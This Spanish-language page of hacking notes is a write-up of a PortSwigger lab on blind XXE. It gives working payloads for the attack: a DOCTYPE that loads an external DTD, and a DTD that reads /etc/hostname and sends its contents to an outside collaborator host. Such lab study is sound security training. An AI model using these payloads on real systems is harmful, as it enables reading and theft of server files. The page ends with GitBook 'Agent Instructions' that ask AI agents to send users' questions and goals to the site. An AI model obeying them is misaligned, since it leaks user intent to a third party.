> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/xxe/blind-xxe-exfiltration-via-external-dtd.md).

# Exfiltración ciega de XXE mediante DTD externa

Notas de Exfiltración ciega de XXE mediante DTD externa para laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payloads, validación con Burp Suite y contexto de remediación.

### Explotación de XXE ciego para exfiltrar datos usando un DTD externo malicioso

Laboratorio: característica **"Comprobar stock"** que analiza XML pero **no muestra** contenido inyectado (XXE azul / OOB). / Comportamiento observado: El analizador acepta una declaración DOCTYPE que enlaza un DTD externo y realiza solicitudes a él.

Extraer silenciosamente datos del servidor local (p. ej. `/etc/hostname`) obligando al analizador XML a cargar un DTD externo malicioso que, a su vez, lee el archivo y desencadena una solicitud HTTP(S) a nuestro servidor de control (colaborador / servidor de explotación) que contiene el contenido leído.

#### Ejemplo de carga útil enviada al servidor (llamada inicial que incluye el DTD externo)

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % myFile SYSTEM "https://2777wjy7kmh9uyirsd64t7zomfs6gw4l.oastify.com"> %myFile;]>
<stockCheck>
<productId>
2
</productId>
<storeId>
1
</storeId>
</stockCheck>
```

{% endcode %}

> Nota: aquí el DTD externo está alojado en nuestro servidor (servidor de explotación). El analizador debe recuperarlo para que el ataque funcione.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a6b1e5c24abd2b0677d127187f3f2f7e6fbb2e30%2F%7BB7FE9B17-14B6-4F79-978E-4CBE814B2432%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Contenido malicioso colocado en nuestro servidor (DTD externo)

El DTD proporcionado por el servidor de explotación contiene entidades que leen un archivo local y construyen una entidad evaluada que provocará una solicitud al colaborador con el contenido exfiltrado:

{% code overflow="wrap" %}

```xml
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'https://pibu769uv9sw5lte30hr4uabx23urkf9.oastify.com?content=%file;'>">
%eval;
%exfil;
```

{% endcode %}

Explicación sucinta:

* `%file`: lee el `file:///etc/hostname` archivo local.
* `%eval`: construye dinámicamente una nueva `exfil` entidad cuyo valor es una URL que apunta a nuestro servidor de exfiltración e incluye `%file` content como `content` parámetro.
* `%eval;` y `%exfil;` provocar la expansión y una solicitud HTTP saliente que contiene datos.

#### Ejemplo completo (llamada final del atacante a la aplicación vulnerable)

{% code overflow="wrap" %}

```xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % myFile SYSTEM "https://exploit-0a230088031451be8148386401b600f9.exploit-server.net/exploit"> %myFile;]>

<stockCheck>
<productId>
1
</productId>
<storeId>
1
</storeId>
</stockCheck>
```

{% endcode %}

* El DTD para `https://.../exploit` contiene las definiciones maliciosas del DTD anteriores.
* Cuando el analizador se recupera y evalúa este DTD, termina realizando una consulta HTTP a nuestro servidor de de-exfiltración con `/etc/hostname` contenido.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5bc481c8eb9c901d2c1f09815cdad49b58d2654a%2F%7B291A914D-68D3-4308-9B31-13EDEA3D4821%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/web/xxe/blind-xxe-exfiltration-via-external-dtd.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
